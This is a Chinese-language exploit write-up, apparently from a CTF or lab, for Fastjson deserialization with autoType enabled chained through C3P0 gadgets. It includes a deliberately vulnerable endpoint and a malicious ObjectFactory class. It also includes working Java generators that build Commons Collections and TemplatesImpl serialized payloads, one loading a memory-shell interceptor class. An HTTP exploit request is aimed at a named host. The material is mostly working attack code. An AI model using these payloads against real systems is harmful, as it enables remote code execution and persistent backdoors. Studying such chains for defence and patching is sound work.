需要手动开启 autoType
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
static {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
}
@PostMapping("/")
public Object parse(@RequestBody String body) {
try {
Object obj = JSON.parse(body);
return obj;
} catch (Exception e) {
return "error: " + e.getMessage();
}
}
Fastjson漏洞大家都很熟悉,主要是利用其反序列化功能执行恶意代码。
C3P0作为Java生态中老牌的数据库连接池,存在以下几种攻击方式:
PoolBackedDataSourceBase#readObject()
-> ReferenceSerialized#getObject()
-> ReferenceableUtils#referenceToObject()
-> Class#forName(className, true, urlClassLoader)
-> ObjectFactory#getObjectInstance()
// Calculator.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.Reference;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.IOException;
public class Calculator implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("open -a Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
PoolBackedDataSourceBase#readObject()
-> WrapperConnectionPoolDataSource#readObject()
-> C3P0ImplUtils#parseUserOverridesAsString(String)
-> ByteUtils#fromHexAscii(String)
-> SerializableUtils#fromByteArray(byte[])
-> SerializableUtils#deserializeFromByteArray(byte[])
-> ObjectInputStream#readObject()
-> (CC6 / TemplatesImpl / 7u21)
package org.example;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class hexLoader {
public static void main(String[] args) throws Exception {
String command = "open -a Calculator";
byte[] cc5Bytes = generateCC5Payload(command);
String hexPayload = bytesToHexString(cc5Bytes);
String finalPayload = "HexAsciiSerializedMap:" + hexPayload + ";";
try {
WrapperConnectionPoolDataSource wcpds = new WrapperConnectionPoolDataSource();
wcpds.setUserOverridesAsString(finalPayload);
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] generateCC5Payload(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, entry);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(val);
return baos.toByteArray();
}
public static String bytesToHexString(byte[] bArray) {
StringBuilder sb = new StringBuilder(bArray.length);
for (byte b : bArray) {
String sTemp = Integer.toHexString(0xFF & b);
if (sTemp.length() < 2) sb.append(0);
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
org.apache.tomcat.dbcp.dbcp.BasicDataSource
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
org.apache.ibatis.datasource.unpooled.UnpooledDataSource
POST / HTTP/1.1
Host: icecliffs.gov:9090
Content-Type: application/json
Content-Length: 21135
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:你猜;"}}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Generator {
public static void main(String[] args) throws Exception {
byte[] classBytes = Files.readAllBytes(Paths.get("target/classes/InjectToInterceptor.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
HashMap<String, Object> map = new HashMap<>();
map.put("trigger", templates);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
String hex = bytesToHex(baos.toByteArray());
System.out.println("HexAsciiSerializedMap:" + hex);
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static String bytesToHex(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
}